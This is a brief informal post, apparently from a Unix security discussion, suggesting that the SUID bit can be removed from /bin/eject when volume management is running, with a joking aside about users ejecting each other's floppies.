Ejects works SUID root and as well w/o SUID bit, IF volume managment is
running. So if you run volume management you can remove the SUID bit on
/bin/eject.... one less SUID proggie to worry about. Any user can eject
media if it's not currently being used... I could imagine possible
annoyances with this... some one ejecting your floppy while your home
and having to drive back to the office to put the damn thing back in.
